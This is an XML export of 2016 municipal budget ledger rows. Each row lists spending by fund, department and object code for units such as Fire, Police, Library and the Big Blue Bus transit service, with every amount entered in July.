<row _id="18541"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511300.0</object><object_description>HOLIDAY PAY</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>545843</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>545843</total></row>
<row _id="18542"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7518</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7518</total></row>
<row _id="18543"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="18544"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="18545"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522625.0</object><object_description>OTHER OPERATING RENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2040</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2040</total></row>
<row _id="18546"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>30600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30600</total></row>
<row _id="18547"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511972.0</object><object_description>UNIFORM ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>56000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>56000</total></row>
<row _id="18548"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522041.0</object><object_description>FIRE AND THEFT INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18549"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>312</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>312</total></row>
<row _id="18550"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>171668</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>171668</total></row>
<row _id="18551"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>27486</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>27486</total></row>
<row _id="18552"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>566140.0</object><object_description>INVESTIGATION EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10643</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10643</total></row>
<row _id="18553"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>97947</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>97947</total></row>
<row _id="18554"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>21420</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21420</total></row>
<row _id="18555"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>566140.0</object><object_description>INVESTIGATION EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>54918</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>54918</total></row>
<row _id="18556"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>648453</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>648453</total></row>
<row _id="18557"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511030.0</object><object_description>DIVE PAY</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>18900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18900</total></row>
<row _id="18558"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>30643</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30643</total></row>
<row _id="18559"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18560"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555011.0</object><object_description>OUTSIDE REPAIRS - BUSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1345656</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1345656</total></row>
<row _id="18561"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555012.0</object><object_description>OUTSIDE REPAIRS - SERVICE VEHC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>78831</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>78831</total></row>
<row _id="18562"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1062727</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1062727</total></row>
<row _id="18563"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>16943001</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16943001</total></row>
<row _id="18564"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>326</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>326</total></row>
<row _id="18565"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1086</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1086</total></row>
<row _id="18566"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>24711</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24711</total></row>
<row _id="18567"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>26040</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26040</total></row>
<row _id="18568"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>969551</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>969551</total></row>
<row _id="18569"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>327394</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>327394</total></row>
<row _id="18570"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>56435</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>56435</total></row>
<row _id="18571"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>566870.0</object><object_description>HORSE PATROL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>17393</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17393</total></row>
<row _id="18572"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1064</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1064</total></row>
<row _id="18573"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511510.0</object><object_description>CROSSING GUARDS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>451878</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>451878</total></row>
<row _id="18574"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>21000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21000</total></row>
<row _id="18575"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5567</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5567</total></row>
<row _id="18576"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2661</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2661</total></row>
<row _id="18577"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>33231</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>33231</total></row>
<row _id="18578"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522930.0</object><object_description>VEHICLES - TIRES / TUBES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>546</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>546</total></row>
<row _id="18579"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>588080.0</object><object_description>OFFICE EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13802</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13802</total></row>
<row _id="18580"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>45670</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>45670</total></row>
<row _id="18581"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>533160.0</object><object_description>PHOTO EQUIPMENT MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2079</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2079</total></row>
<row _id="18582"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4920</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4920</total></row>
<row _id="18583"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533140.0</object><object_description>BOAT MAINTENANCE / OPERATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>24370</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24370</total></row>
<row _id="18584"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6198</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6198</total></row>
<row _id="18585"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>588050.0</object><object_description>FIRE SUPPRESSION EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>41253</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>41253</total></row>
<row _id="18586"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1931429</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1931429</total></row>
<row _id="18587"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4965</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4965</total></row>
<row _id="18588"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5429</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5429</total></row>
<row _id="18589"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3689792</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3689792</total></row>
<row _id="18590"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
